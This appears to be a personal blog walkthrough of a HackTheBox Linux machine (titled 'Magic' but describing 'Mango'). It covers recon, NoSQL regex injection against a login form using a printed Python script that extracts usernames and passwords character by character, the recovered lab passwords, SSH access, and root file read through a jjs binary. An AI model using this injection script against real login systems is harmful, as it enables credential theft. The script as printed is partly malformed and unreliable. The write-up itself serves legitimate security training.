HackTheBox : Magic Walkthrough

HackTheBox : Magic Walkthrough

Hello everyone!!

This is Shreya Pohekar. AndToday, we are doing Mango from hackthebox. Its an easy Linux box that mainly focuses on NoSQL injection to get the initial foothold and privilege escalation via a java command-line tool (jjs) to interpret javascript.

So lets get started.

A simple nmap scan resulted in few open ports such as ssh, http and https

# nmap -sC -sV -o mangoscan.nmap

The CN was obtained under the nmap results 

We have to do this entry in /etc/hosts

# vim /etc/hosts
  • staging-order.mango.htb

Access to was forbidden so I tried and a page loaded that looked similar to the google search engine page.

I ran a gobuster scan with -k switch to skip the ssl certificates verification for https websites.

# gobuster -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -k

Alongside, I went to https://staging-order.mango.htb and got a login page.

I tried up different username-password combination but nothing worked out. The page was generating 200  OK response for every request made. So i intercepted the request through burp and after a bit of digging, I found out that there was nosql injection vulnerability on the form.

(credits : https://book.hacktricks.xyz/pentesting-web/nosql-injection)

Using the above payload, the response obtained in the burp was 302 found

I realized that by using the regex parameter, the username and the passwords can be retrieved, detecting one character per request.

I grabbed a script from hacktricks performing the same steps.

import requests
import string

url = "http://staging-order.mango.htb"
headers = {"Host": "staging-order.mango.htb"}
cookies = {"PHPSESSID": "8m928e8vlmg8de7bl7vr9fpndk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
	print("Extracting password of "+username)
	params = {"username":username, "password[$regex]":"", "login": "login"}
	password = "^"
	while True:
    	for c in possible_chars:
        	params["password[$regex]"] = password + c + ".*"
        	pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        	if int(pr.status_code) == 302:
            	password += c
    	if c == possible_chars[-1]:
        	print("Found password "+password[1:].replace("\\", "")+" for username "+username)
        	return password[1:].replace("\\", "")

def get_usernames():
	usernames = []
	params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
	for c in possible_chars:
    	username = "^" + c
    	params["username[$regex]"] = username + ".*"
    	pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
    	if int(pr.status_code) == 302:
        	print("Found username starting with "+c)
        	while True:
            	for c2 in possible_chars:
                	params["username[$regex]"] = username + c2 + ".*"
                	if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
                    	username += c2

            	if c2 == possible_chars[-1]:
                	print("Found username: "+username[1:])
	return usernames

for u in get_usernames():

The script enumerated users as admin and mango and their passwords to be t9KcS3>!0B#2 and h3mXK8RhU~f{]f5H respectively. 

I did ssh with the creds of mango

# ssh mango@ 

Then did a switch user to admin and got a sh shell

Got the user.txt .

Command ls -la listed a file .jjs.history that seemed to be an interesting file. So I found out its location

To my interest, the binary was running as root and can lead to privilege escalation.

Upon googling a bit, I found out that priv esc was possible with jjs

I used the file read functionality, that can read any file with privileged rights. In the code, I directly inserted the path to root.txt and upon successful execution got the root flag.

 That’s all for this blog post. Hope you enjoyed reading and learned something out of it.

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Until then, Happy Hunting!!!


I am Shreya Pohekar. I love to build and break stuff. Currently, I'm working as iOS and angular developer. I am also a contributor to CodeVigilant project. My blogs are focused on Infosec and Dev and its how to's.

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